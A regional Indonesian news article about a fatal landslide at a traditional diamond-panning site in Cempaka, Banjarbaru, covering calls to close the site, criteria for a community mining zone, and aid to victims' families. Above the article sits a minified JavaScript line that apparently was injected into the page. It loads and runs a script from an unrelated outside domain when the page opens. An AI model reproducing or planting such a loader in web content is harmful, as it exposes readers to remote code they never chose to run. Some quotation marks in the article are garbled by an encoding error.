(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Musibah longsor di kawasan Pendulangan Intan, Pumpung, Kecamatan Cempaka, Kota Banjarbaru, pada Senin (8/4) lalu, membuat Dinas Energi dan Sumber Daya Mineral (ESDM) Kalimantan Selatan merekomendasikan penutupan sementara aktivitas pendulangan intan di Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru.
Usulan tersebut diungkapkan Kadis ESDM, Isharwanto untuk menghindari tragedi lanjutan di lokasi pendulangan intan.
“Status kawasannya itu tidak jelas, wilayah pertambangan atau bukan. Dilihat dari sistem menambangnya juga ngawur. Karena itu saya sarankan lebih baik ditutup sementara waktu,” tegasnya.
Sembari langkah penutupan kawasan Pumpung ditempuh, ia menyarankan Pemkot Banjarbaru bertindak cepat mencari solusi terbaik. Sebab kalaupun ditutup, mata pencaharian utama warga sekitar tak terputus.
Tawaran konkret jangka panjang dari Dinas ESDM Kalsel adalah menjadikan Pumpung dan Sungai Tiung sebagai Wilayah Pertambangan Rakyat (WPR). Namun, kata dia, langkah ini juga perlu komitmen dari Pemko Banjarbaru. Sebab, pemerintah kota harus memperjelas lagi status kawasan yang mengacu Rencana Tata Ruang Wilayah (RTRW) Banjarbaru yang menyebutkan bahwa Pumpung merupakan kawasan pertambangan.
“Diperjelas dulu status kawasannya apakah wilayah pariwisata atau pertambangan. Kalau memang kawasan tambang, pengusulan WPR akan mudah dijalankan,” kata dia.
Menyikapi usulan Dinas ESDM soal pertambangan rakyat, Ketua Aliansi Masyrakat Adat Nusantara Kalsel Pami Jaya sebelumnya mengatakan menolak hal tersebut. Alasannya, penambangan di kawasan tersebut telah merusak lingkungan. “Masih ada cara lain untuk menopang kehidupan masyarakat,†ungkapnya.
Sementara Direktur Eksekutif Wahana Lingkungan Hidup (Walhi) Kalsel,  Kisworo Dwi Cahyo menilai perlu ada kajian secara menyeluruh. Terutama dari hulu sampai dengan hilir. Dia mengatakan, konsesi pertambangan rakyat menurutnya dinilai sangat penting. Mengingat sampai sekarang usaha di kawasan tersebut belum dinyatakan ilegal atau sah secara hukum.
Kalau nanti izin konsesi sudah dikantongi oleh masyarakat setempat, maka ada hal lain yang harus diperhatikan. Yaitu tahapan dalam pengelolaan. Misalnya, siapa saja yang diberikan mandat dan siapa yang menjalankan mandat tersebut.
“Sebelum beroperasi, lanjutnya, perlu adanya pembekalan keterampilan terkait teknik pertambangan dan cara mengolah menjadi produk unggul. Tak lain semata-mata hanya untuk menjamin keselamatan rakyat,†katanya.
Selain itu, Kis memandang perlu adanya investigasi khusus soal dugaan keterlibatan oknum aparat yang membekingi penambangan tersebut. Sedari dulu, tambang rakyat dan kawasan pariwisata tersebut murni dikelola rakyat. Namun, kata dia, beberapa tahun terakhir orientasinya berubah menjadi ranah bisnis seperti tambang pasir.
Lalu, jika nantinya kawasan tersebut dijadikan Wilayah Penambangan Rakyat (WPR), apa saja syarat dan konsekuensinya? Dilansir dari hukumonline.com, definisi WPR dalam UU 4/2009 adalah salah satu bagian dari wilayah pertambangan tempat dilakukan kegiatan usaha pertambangan rakyat.
Yang dimaksud dengan wilayah pertambangan adalah wilayah yang memiliki potensi mineral dan/atau batubara dan tidak terikat dengan batasan administrasi pemerintahan yang merupakan bagian dari tata ruang nasional.
Kegiatan pertambangan rakyat dilaksanakan dalam suatu WPR dikelompokkan sebagai   pertambangan mineral logam,  pertambangan mineral bukan logam, pertambangan batuan; dan/atau pertambangan batubara. (Lihat Tabel: Kriteria untuk ditetapkan sebagai WPR, red).
KRITERIA UNTUK BISA DITETAPKAN SEBAGAI WPR
Untuk ditetapkan sebagai Wilayah Pertambangan Rakyat (WPR) harus memenuhi kretria berikut : |
1.Mempunyai cadangan mineral sekunder yang terdapat di sungai dan/atau diantara tepi dan tepi sungai |
2.Mempunyai cadangan primer logam atau batubara dengan kedalaman maksimal 25 meter. |
3.Merupakan endapan teras, dataran banjir, dan endapan sungai purba. |
4.Luas maksimal WPR sebesar 25 hektare. |
5.Menyebutkan jenis komoditas yang akan ditambang. |
6.Merupakan wilayah atau tempat kegiatan tambang rakyat yang sudah dikerjakan sekurang-kurangnya 15 tahun. |
7.Tidak tumpang tindih dengan WUP dan WPN. |
8.Merupakan kawasan peruntukan pertambangan sesuai dengan rencana tata ruang. |
Nah, pada beberapa hari lalu Wali Kota Banjarbaru, Nadjmi Adhani mengatakan pihaknya akan mencoba mengalih usahakan para pekerja pendulan tambang intan dengan mengalokasikam anggaran tahun 2020. Ia juga mengatakan Pada tahun 2019 ini, Dinas Pertanian akan mencoba mengalih-usahakan masyarakat ke usaha peternakan itik.
“Ada ratusan keluarga di Cempaka yag kita beri modal usaha berupa bibit itik, uang pembangunan kandang dan pakan serta obat-obatan itik. Yang kita beri nanti itik yang sudah akan bertelur. Jadi dipelihara sebulan dengan pakan yang tersedia itu sudah mulai produksi,†ujarnya.
Di sisi lain, Kapolres Banjarbaru, Kelana Jaya berkomitmen ke depannya mendiskusikan bersama pemerintah daerah terkait langkah lokalisir titik-titik rawan yang ada di Pumpung, Kecamatan Cempaka. “Yang jelas kami diskusikan dulu apakah titik (pendulangan intan) itu kami lokalisir atau kasih tanda bahwa kawasan itu berbahaya. Aspirasi warga sekitar juga akan kami tampung,” tandasnya.
Telan Puluhan Nyawa
Menjadi catatan, diiperkirakan puluhan nyawa melayang di lokasi pendulangan intan yang sama. Menurut data Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru, pada tahun 2016 tercatat ada 2 orang dinyatakan meninggal dunia saat menambang intan di Kolong Si Mayat.
Kepala Pelaksana BPBD Banjarbaru, Surianoor mengatakan kasus yang sama meningkat pada tahun 2019 yang mana musibahnya terjadi selang beberapa bulan sebelum peristiwa Senin kemarin. Cuaca yang hujan lebat pada tanggal 21 Januari 2019, pukul 12.00 Wita terjadi tanah longsor dan mengakibatkan kubangan besar berukuran kedalaman 10 meter dan lebar kurang lebih 8 meter.
Diketahui ada sebanyak delapan orang pria yang bekerja saat itu . Tujuh orang diataranya berhasil menyelamatkan diri dan mengalami luka ringan sedangkan satu orang pria tidak sempat menyelamatkan diri dari tanah longsor dan dinayatakan meninggal dunia.
“Jadi tahun 2019 ini sudah dua kali terjadi longsor di kawasan pendulangan intan yang sama. Pada bulan Januari lalu dengan korban satu orang dan Senin kemarin dengan jumlah yang paling bayak sebanyak lima orang,†ujarnya.
Peristiwa tragis pada Senin kemarin menarik perhatian sejumlah pihak. Hal ini ditunjukan Pemprov Kalsel dengan memberikan bantuan uang santunan dan bingkisan ke keluarga almarhum sebagai bentuk belasungkawa. Pemberian ini di halaman kantor Camat Cempaka, pada Rabu (10/4).
Mewakili Gubernur Kalsel H Sahbirin Noor, Sekdaprov Kalsel Abdul Haris mengucapkan belasungkawa atas tragedy tewasnya lima orang penambang intan tradisional. “Saya mendoakan sekaligus mengharapkan kejadian longsor hingga menyebabkan lima warga meninggal tak terulang lagi di kemudian hari,†ucap Abdul Haris usai acara penyerahan santunan kepada keluarga korban.
Selain itu, Abdul Haris meminta aparat teknis di Kecamatan Cempaka agar bisa mengimbau masyarakat yang berprofesi sebagai pekerja pendulangan intan agar mewaspadai kondisi cuaca yang hujan pada saat bekerja. Aparat kecamatan maupun di desa perlu aktif memberikan himbauan ke masyarakat agar kejadian longsor di Pumpung tidak terjadi lagi.
Erlawati (28) istri dari Muhammad (30) salah satu korban longsor Pumpung mengucapkan terima kasih atas bantuan dari Pemprov Kalsel. “Bantuan ini akan saya pergunakan untuk nafkah hidup sehari-hari, karena selama ini hanya suami saya yang menjadi tulang punggung keluarga,†kata wanita yang memiliki anak umur 4 tahun.
Erlawati tak menyangka kejadian yang menimpa suaminya tersebut, walaupun malam hari sebelum kejadian ia sudah punya firasat tidak enak karena saat itu hujan deras turun. Untuk ke depan, ia belum punya rencana apapun apalagi saat ini ia masih dalam kondisi berkabung.(rico)
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin… Read More
This website uses cookies.